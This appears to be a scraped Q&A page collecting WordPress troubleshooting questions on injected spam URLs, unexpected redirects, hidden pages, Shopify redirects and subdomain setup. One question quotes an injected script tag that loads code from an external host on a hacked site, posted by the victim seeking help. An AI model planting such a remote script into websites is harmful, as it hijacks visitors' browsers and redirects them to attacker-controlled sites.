Allow access to specific URLs only via .htaccess - wordpress

I am using a Wordpress website. Recently there has been URL injection on my site that created thousands of URL's and that got indexed on Google. Genuine URL's on my website are 31 only. I need help with .htaccess file (or probably any other way) where as when user access any page other than those valid 31 pages, they either get some error or get redirected to Home Page. There is no fixed pattern of injected URL's. I searched entire Web but could not find an answer. If we can achieve this, we can prevent our site from being blacklisted from Google.

Related

Website is showing another website on non-existent website page

This is a peculiar one.
I work for an agency, and we develop WordPress and JAM Stack sites for our clients.
I have been contacted by the IT team for one of the clients (an NGO), and they flagged something that I have not seen before.
NOTE: I am going to be using example.org as the website, to protect the identity of the client.
Basically, we developed a WordPress site for them, which works great and all, but as it turn outs there is a page on the website which points to a totally different website
The example page is as follows
example.org/news/points-to-different-website/
The news page doesn't exist in anywhere on WordPress system, and neither does it exist as a custom post type.
And another thing, I noticed is when I removed the / at the end of the URL, it shows the custom 404 page developed for the website
example.org/news/points-to-different-website
But as soon as you add the /, it shows a totally different website.
I have checked all the Apache configuration files related to the site, and it is just the normal setup for any WordPress site.
So, I am wondering what could be causing this, and how can one prevent it?
That's a strange issue. Does example.org/news/points-to-different-website/ actually redirect to another full URL, i.e. differentwebsite.com, or is the different site actually at example.org/news/points-to-different-website/?
Try
emptying the trash for both pages and posts, as there could be a conflicting slug that is causing a redirect.
Reset permalinks.
Using PHPMyAdmin, search the database for the URL points-to-different-website and see if there is malware or some kind of a redirect, an iFrame, etc.
This can sometimes happen if the server hostname is not set up correctly.
What can happen is website on the server will show in place of a non-existent site or page from another website on the same server.
If you are using a reseller hosting/shared hosting, then the site could be from another account on the server, the site could also be from another server, for example:
There are 2 servers with the hostnames serverone.myserver.com and servertwo.myserver.com... A site on serverone might show in place of a site or page on servertwo.

How to disable default url structure (page_id=id) in Wordpress and just use permalink structure

I would like to stop WordPress from redirecting the default URL pattern example.com/?page_id=id to the permalink. I would like it to result in a 404.
I don't want that users are able to find single pages by brute forcing my URL structure in a way that they are just trying out URLs with various page_ids.
My goal is to be able to use "hidden" pages with a random slug, so that only people who know the URL will be able to find the corresponding page. But if the pages are accessible via the page id that wouldn't make much sense.
I assume that there is a way to do that in WordPress itself. I don't want to use web server redirects like with the htaccess file, because I want it to be coupled more tightly with the wordpress application. In my experience htaccess files are sometimes messed up by inexperienced users. I want to prevent that the page_id redirections are accidently re-enabled if the htaccess gets messed up unnoticed.

How to redirect (or bring back) /services/ pages after migrating from Wordpress to Shopify?

My problem is that my client has migrated from Wordpress to Shopify, and there were some important pages on the site under the /services/ folder. I wanted to redirect them to their new pages after the migration, which are /pages/ pages.
Shopify has reserved /services/ URLs, however. Therefore I cannot redirect mydomain.com/services/some-services-page to mydomain.com/pages/some-services-page.
Additionally, I cannot change the URLs of the /pages/ pages to /services/ pages.
What would be the next best step here? It seems like a significant limitation of Shopify, as any pages you want to migrate from another CMS that have /services/, apparently can't be redirected, and you lose the SEO value. Those pages are now returning 404 and there doesn't seem to be anything I can do about it, or am I missing something?
I've had some back and forth with Shopify support, which ultimately ends with them saying its a limitation of Shopify and I should submit a feature request. I appreciate any advice you might have.
You can manually create redirects from old relative urls to new ones on shopify by going to [yourstore].myshopify.com/admin/redirects
If you want to track which pages customers are exactly hitting and getting 404's, you can use app Transportr:
https://apps.shopify.com/transportr
It tracks which pages are getting 404, and you can also create redirects directly from an app

Wordpress - instance always generates page that switches to external site

I'm getting an issue where WordPress always serves me a page that takes me to an external site.
Whether I try to visit a URL on mylivesite.com, page content is always as follows (keyword= varies according to the URL I type in):
<nofollow><noindex>
<script src="http://externalsite.com/?jquery&source=mylivesite.com&
keyword=ksjdhskjfhjksfsdf"></script></noindex></nofollow>
This happens only on the live site and not on my localhost site (which should be a very close copy of the live site).
I looked through the MySQL database using string search and couldn't find
any matches to externalsite.com.
I grep'ed the entire tree of hosted files and no matches either.
Can't see any nefarious looking rules in
wp_options.rewrite_rules.
Tried to disable all plugins (except W3TC) by renaming directories within wp-content/plugins, which I think has worked.
.htaccess is the standard WordPress bootstrap.
The installation is an individual domain running its own instance of WP.
This effect prevents me accessing wp-admin on the live site.
Any ideas about what layer or setting might cause this to happen?
The site had been hacked. This was causing it to redirect to an external site after most page requests.
Cleanup guide for hacked sites: http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/
Thanks to all who provided help.

Wordpress, why doesn't my blog load the posts if U use the /subfolder domain method?

I have a blog at http://hamids-it.elaosta.com amongst others. If I try to access it from
http://elaosta.com/hamids-it it loads the blog but says it couldn't find the page I wanted.
How do I fix this so I can use either?
I'm guessing you have a standard subdomain install, whereby http://subdomain.example.com is mapped to the directory /example.com/public_html/subdomain?
In any normal circumstance, say with a static HTML file, you can rightly access the same resource at both example.com/subdomain/resource.html and subdomain.example.com/resource.html.
However, in your case, WordPress is parsing the REQUEST_URI and using it to determine what to show.
So in the case of http://elaosta.com/hamids-it, WordPress is actually looking for a page 'hamids-it' - and if it doesn't find it, voila, your 404.
The fix?
You'll need to decide which way you want to access your blog, subdomain or sub-directory, then stick to it.
When you've made a choice, update your General settings in WordPress admin and set both address URL's to either http://hamids-it.elaosta.com or http://elaosta.com/hamids-it.

Resources